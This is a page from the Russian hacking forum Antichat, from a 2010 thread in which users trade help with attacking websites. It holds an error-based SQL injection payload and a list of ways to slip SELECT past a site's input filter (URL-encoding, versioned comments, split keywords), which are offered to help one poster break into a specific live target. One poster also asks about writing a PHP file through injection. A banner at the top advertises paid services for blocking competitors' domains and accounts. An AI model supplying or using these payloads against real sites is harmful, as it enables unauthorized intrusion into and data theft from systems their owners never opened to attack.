Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1556 из 2438

1556

Опции темы

Поиск в этой теме

Опции просмотра

#15551

09.11.2010, 16:10

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 1

С нами: 10992741

Репутация: 0

Цитата:

Сообщение от durito

сервак фильтрует:
union и select , не помогает смена регистра букв (сервак на винде) и заключение операторов в комментарии /*!select*/
может есть еще какие-то способы? база mysql 5.0.51a
сорвак Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.2.13

Если включен вывод ошибок, то попробуйте

Код:

or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1 -- -

#15552

09.11.2010, 16:54

durito

Познающий

Регистрация: 06.06.2008

Сообщений: 76

С нами: 9436363

Репутация: 55

Цитата:

Сообщение от Фараон

Если включен вывод ошибок, то попробуйте

Код:

or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1 -- -

вывод ошибок выключен

версию смог вывести подзапросом в слепую, но дальше тупик. select в подзапросах фильтруется

#15553

09.11.2010, 18:29

pinch

Участник форума

Регистрация: 13.12.2009

Сообщений: 130

С нами: 8638130

Репутация: 54

пробуй:

%53%45%4C%45%43%54

/*!SELECT*/

/*!12345SELECT*/ если mysql5

/*!%53%45%4C%45%43%54*/

SeLeCT

SEL/**/ECT

#15554

09.11.2010, 21:13

durito

Познающий

Регистрация: 06.06.2008

Сообщений: 76

С нами: 9436363

Репутация: 55

Цитата:

Сообщение от pinch

пробуй:
%53%45%4C%45%43%54
/*!SELECT*/
/*!12345SELECT*/ если mysql5
/*!%53%45%4C%45%43%54*/
SeLeCT
SEL/**/ECT

во всех вариантах кроме последнего редиретит на главную страницу.

последний запрос SEL/**/ECT не редиректит, но выдает неверный результат

#15555

10.11.2010, 19:12

mr.celt

Участник форума

Регистрация: 06.02.2008

Сообщений: 110

С нами: 9610572

Репутация: 32

to durito может ссылку кинешь? че гадать то..

to MastaBass1 файл .htaccess не формирует страницу, а локально переопределяет настройки сервера для текущей директории и во всех внутренних поддиректориях. В добавок он меняет настройки php.

#15556

10.11.2010, 21:42

MastaBass1

Новичок

Регистрация: 25.12.2009

Сообщений: 16

С нами: 8620050

Репутация: 0

Цитата:

Сообщение от mr.celt

to
durito
может ссылку кинешь? че гадать то..
to
MastaBass1
файл .htaccess не формирует страницу, а локально переопределяет настройки сервера для текущей директории и во всех внутренних поддиректориях. В добавок он меняет настройки php.

Так где админка?=)

#15557

10.11.2010, 23:47

Ryzpm

Новичок

Регистрация: 16.10.2006

Сообщений: 18

С нами: 10299313

Репутация: 4

Вот смотрите есть Адрес Сервера 82.137.162.97

это универский сервер)

как на него можно зайти с домашнего компа ?)

препод сказал, что на него можно зайти даже через эксплориал, только как?

#15558

10.11.2010, 23:48

gisTy

Постоянный

Регистрация: 24.05.2008

Сообщений: 589

С нами: 9454841

Репутация: 504

Цитата:

Сообщение от Ryzpm

Вот смотрите есть Адрес Сервера 82.137.162.97
это универский сервер)
как на него можно зайти с домашнего компа ?)
препод сказал, что на него можно зайти даже через эксплориал, только как?

http://82.137.162.97/ не?

и что такое "эксплориал"?

#15559

10.11.2010, 23:53

Ryzpm

Новичок

Регистрация: 16.10.2006

Сообщений: 18

С нами: 10299313

Репутация: 4

Браузер стандартный)

Было б все так просто я б не написал тут)

#15560

11.11.2010, 00:05

Vollkorn

Познающий

Регистрация: 06.11.2010

Сообщений: 86

С нами: 8165846

Репутация: -6

Люди, а если через скуль записать в пхп файл что то типа прокатит? Будет работать?

Страница 1556 из 2438

1556

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)

Быстрый переход